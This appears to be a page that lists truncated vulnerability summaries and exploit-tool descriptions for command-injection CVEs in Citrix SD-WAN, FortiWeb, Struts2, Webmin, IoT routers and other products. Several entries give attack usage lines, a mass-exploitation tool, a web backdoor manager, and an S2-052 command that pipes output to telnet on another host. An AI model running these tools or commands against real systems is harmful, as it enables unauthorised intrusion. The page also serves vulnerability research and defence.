Citrix SD-WAN Center - Remote Command Injection

Citrix SD-WAN Center is susceptible to remote command injection via the addModifyZTDProxy function in NmsController. The function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a shell command. An attacker can trigger this vulnerability by...

TOTOLINK Realtek SD Routers - Remote Command Injection

TOTOLINK Realtek SDK based routers may allow an authenticated attacker to execute arbitrary OS commands via the sysCmd parameter to the boafrm/formSysCmd URI, even if the GUI syscmd.htm is not available. This allows for full control over the device's internals. This affects A3002RU through 2.0.0,...

Citrix SD-WAN Center - Remote Command Injection

Citrix SD-WAN Center is susceptible to remote command injection via the apply action in StorageMgmtController. The callStoragePerl function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a shell command. An attacker can trigger this vulnerabili...

FortiWeb - Authentication Bypass

A relative path traversal vulnerability in Fortinet FortiWeb 8.0.0 through 8.0.1, FortiWeb 7.6.0 through 7.6.4, FortiWeb 7.4.0 through 7.4.9, FortiWeb 7.2.0 through 7.2.11, FortiWeb 7.0.0 through 7.0.11 may allow an attacker to execute administrative commands on the system via crafted HTTP or HTT...

Belkin Linksys RE6500 <1.0.012.001 - Remote Command Execution

Belkin LINKSYS RE6500 devices before 1.0.012.001 allow remote attackers to execute arbitrary commands or set a new password via shell metacharacters to the goform/setSysAdm page. id: CVE-2020-35713 info: name: Belkin Linksys RE6500 1.0.012.001 - Remote Command Execution author: gy741 severity:...

YeaLink DM 3.6.0.20 - Remote Command Injection

Yealink Device Management DM 3.6.0.20 allows command injection as root via the /sm/api/v1/firewall/zone/services URI, without authentication. id: CVE-2021-27561 info: name: YeaLink DM 3.6.0.20 - Remote Command Injection author: shifacyclewala,hackergautam severity: critical description: Yealink...

Hongdian H8922 3.0.5 - Remote Command Injection

Hongdian H8922 3.0.5 devices are susceptible to remote command injection via shell metacharacters into the ip-address a/k/a Destination field to the tools.cgi ping command, which is accessible with the username guest and password guest. An attacker can execute malware, obtain sensitive informatio...

Telesquare TLR-2005KSH - Remote Command Execution

Telesquare Tlr-2005Ksh is a Sk Telecom Lte router from South Korea's Telesquare company.Telesquare TLR-2005Ksh versions 1.0.0 and 1.1.4 have an unauthorized remote command execution vulnerability. An attacker can exploit this vulnerability to execute system commands without authorization through...

JEHC-BPM - Remote Code Execute

A Remote Command Execution vulnerability in the component /server/executeExec of JEHC-BPM = v2.0.1 allows attackers to execute arbitrary code. The vulnerability exists due to insufficient authorization checks in the executeExec endpoint which allows direct command execution. id: CVE-2025-45854...

CVE-2020-0688

python3 CVE-2020-0688.py mail.chinabaiker.com [email protected] password command...

CVE-2019-15107

CVE-2019-15107 Python 漏洞利用程序 CVE-2019-15107 针对 webmin 致谢 基于 Metasploit 模块 https://www.exploit-db.com/exploits/47230 原始安全公告：https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html...

CVE-2024-4358_Mass_Exploit

CVE-2024-4358MassExploit 来自 @sinsinology 的修改版工具，用于批量利用。 要求 Python 3.x 安装 git clone https://github.com/Sk1dr0wz/CVE-2024-4358MassExploit.git cd CVE-2024-4358MassExploit pip intstall -r requirements.txt 如何运行 usage: python CVE-2024-4358.py --target-file targets.txt -c "whoami C:\pwned.txt" --threads...

CIMplant

CIMplant WMImplant の C 移植版で、CIM または WMI を使用してリモートシステムをクエリします。提供された資格情報または現在のユーザーセッションを使用できます。 注: 一部のコマンドは PowerShell と WMI を組み合わせて使用します。--show-commands コマンドでは で示されます。 はじめに CIMplant は @christruncer の WMImplant の C による書き換えと拡張です。リモートシステムに関するデータ収集、コマンド実行、データ流出などが可能です。このツールは Windows Management...

CVE-2021-31805

CVE-2021-31805 1.简介 Struts2 远程命令执行漏洞（CVE-2020-17530&CVE-2021-31805）POC&EXP 2.用法 参数介绍 -u 目标url -m dnslog|exp //默认有回显界面字符检查 -n s2-062 //默认s2-061 -s windows //默认linux -p 漏洞参数 有回显检测 Struts2RCE -u http://127.0.0.1:8080 //默认s2-061检测 无回显检测 请自行注册ceye，并配置好ceye.ini Struts2RCE -u http://127.0.0.1:8080 -m...

CVE-2024-37770

CVE-2024-37770 description 14Finger v1.1 被发现其指纹功能中存在远程命令执行（RCE）漏洞。该漏洞允许攻击者通过构造的有效载荷执行任意命令。 Attack Vector 未认证的攻击者可通过 shell 元字符执行命令注入，从而实现对远程服务器的 RCE。 Detail 核心功能的指纹扫描点存在未授权的远程命令执行漏洞 通过审计源代码，可以看到当 onlyspider 为 false、spider 为 true 时，将执行 crawlsite 函数 继续跟进，发现提交的 URL 会被拼接到 CMD 中，交给 Python 的 subprocess...

Shelly

Shelly | Python ベースのシンプルなバックドアマネージャー weevely ベース Shelly は Python で書かれたシンプルなツールで、ウェブサイトをリモート操作するためのものです。 インストール : $ git clone https://github.com/tegal1337/Shelly $ cd Shelly $ python3 shell.py 必要条件 : sudo pip install -r requirements.txt 例 : python3 shell.py -g wp-log -p tegal1337 / / / / / \ / / -...

ipmitest

ipmitest 用于测试IPMI密码类型零认证绕过漏洞（CVE-2013-4784）的Shell脚本 IPMI是一种标准化的计算机系统接口，系统管理员用来对计算机系统进行带外管理和监控其运行。它通过使用网络连接至硬件而非操作系统或登录shell来管理可能已关机或无响应的计算机。 该漏洞允许远程攻击者通过使用密码套件0（即零密码）和任意密码来绕过认证并执行任意IPMI命令。 用法： bash ipmitest.sh target 示例： alexos@cypher:$ bash ipmitest.sh 192.168.0.1 IPMITest - 0.2 作者：Alexandro Sil...

CVE-2018-2380

CVE-2018-2380 CVSS v3 基础评分：6.6/10 通过 SAP NetWeaver AS JAVA CRM 的日志注入实现远程命令执行的 PoC 脚本使用示例 python crmrce-CVE-2018-2380.py --host 127.0.0.1 --port 50001 --username administrator --password 123QWEasd --SID DM0 --ssl true 其中 --host 是 SAP 服务器 IP --port SAP NetWeaver AS Java 端口 可通过 SAP Redwood 目录遍历漏洞获取...

snmp-shell

SNMP Shell 基于 Net-SNMP 扩展功能的 Shell 模拟 预览如下： 描述 如果目标具有Net-SNMP 实例并启用了"extend"功能，并且你拥有具备 写入权限的 SNMP community string，你可以使用此工具自动化通过SNMP RCE发送命令的过程。 该工具会自动将你置于相应路径，以模拟真实的shell 。 你还可以使用几乎所有能想到的命令，但那些需要完全交互式shell的命令（如MySQL、Vim、Nano等）除外。 不兼容Windows，抱歉。 安装（Linux） sudo apt install snmp snmp-mibs-downloade...

-CVE-2017-9805-

漏洞信息 资源： https://vulners.com/cve/CVE-2017-9805 这是什么？ 一个 Python 漏洞利用脚本，能够在托管易受 S2-052 攻击的 Struts2 系统上远程执行 shell 命令。 用法 python s2-052.py --target 'http://192.168.0.233/orders/3' --command "echo pwned | telnet 192.168.0.122 1234" Apache Struts XStream REST vulnerability - S2-052 Creating payload...